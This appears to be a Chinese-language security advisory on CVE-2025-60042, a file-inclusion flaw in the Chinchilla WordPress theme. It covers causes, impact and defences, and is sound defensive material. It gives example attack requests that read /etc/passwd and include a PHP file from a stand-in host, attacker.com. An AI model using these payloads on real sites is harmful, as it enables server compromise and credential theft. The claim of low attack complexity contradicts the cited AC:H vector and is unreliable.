CVE-2025-60042CVE-2025-60042是WordPress主题Chinchilla中的一个高危安全漏洞,CVSS评分8.1,属于远程文件包含/本地文件包含(RFI/LFI)类漏洞。该漏洞由PatchStack团队发现,存在于AncoraThemes开发的Chinchilla主题中,影响版本从任意版本到1.16及以下所有版本。漏洞根源在于PHP程序对文件名包含语句(includes/require)的控制不当,攻击者可以通过构造恶意请求,利用该漏洞包含任意本地或远程文件,从而执行任意PHP代码。攻击成功后,攻击者可以完全控制受影响的WordPress站点,包括获取数据库凭据、植入后门、窃取敏感数据或进一步横向移动。由于该漏洞的CVSS向量显示攻击复杂度较低(AC:H)且无需认证(PR:N)和用户交互(UI:N),加上对机密性、完整性和可用性都造成高影响,因此具有极高的实际威胁性。建议所有使用该主题的用户立即升级到最新版本或采取临时缓解措施。
该漏洞属于PHP文件包含(FI)漏洞,具体表现为对include/require语句中文件名参数的控制不当。在WordPress主题开发中,如果主题代码直接使用用户可控的输入作为文件包含路径,且未进行充分的输入验证和安全过滤,攻击者就可以利用这一缺陷包含任意文件。对于本地文件包含(LFI),攻击者通常会尝试包含服务器上的敏感文件,如/etc/passwd、PHP配置文件、日志文件等。对于远程文件包含(RFI),攻击者可以托管恶意PHP文件在远程服务器上,让目标服务器包含并执行这些代码。攻击成功的关键在于:1) 存在可被用户控制的输入点(如GET/POST参数);2) 该输入被直接传递给include/require语句;3) 缺少适当的路径遍历防护和输入验证。在Chinchilla主题中,攻击者可能通过构造类似?file=../../../../etc/passwd或?file=http://attacker.com/malicious.php的请求来触发漏洞。防御措施包括:使用白名单验证包含的文件名、使用basename()函数处理路径、禁用allow_url_fopen和allow_url_include配置、避免用户可控的动态文件包含。